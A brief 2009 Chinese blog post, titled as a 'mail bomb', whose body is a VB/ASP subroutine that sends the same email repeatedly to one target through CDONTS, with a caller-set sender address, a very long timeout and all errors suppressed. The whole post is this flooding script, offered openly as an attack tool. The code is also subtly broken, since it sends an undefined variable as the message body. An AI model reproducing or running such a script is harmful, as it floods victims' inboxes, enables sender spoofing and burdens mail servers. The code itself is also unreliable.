本文使用「署名 4.0 国际 (CC BY 4.0)」许可协议,欢迎转载、或重新修改使用,但需要注明来源。 [署名 4.0 国际 (CC BY 4.0)](https://creativecommons.org/licenses/by/4.0/deed.zh) 本文作者: 苏洋 创建时间: 2009年05月16日 统计字数: 422字 阅读时间: 1分钟阅读 本文链接: https://soulteary.com/2009/05/16/vb-how-to-send-mail.html ----- # [VB]使用IIS&SMTP发送邮件(炸弹) ```vb Private Sub SendMails(lngTimes As Long, _ strFrom As String, _ strTo As String, _ strSubject As String, _ strContent As String) On Error Resume Next Dim lngIndex As Long Dim objMail As Object Server.ScriptTimeOut = 100000000 For lngIndex = 1 To lngTimes Set objMail = Server.CreateObject("CDONTS.NewMail") With objMail .To = strTo .From = strFrom .Subject = strSubject .MailFormat = 0 .BodyFormat = 0 .Body = strBody .Send End With Set objMail = Nothing Next End Sub ```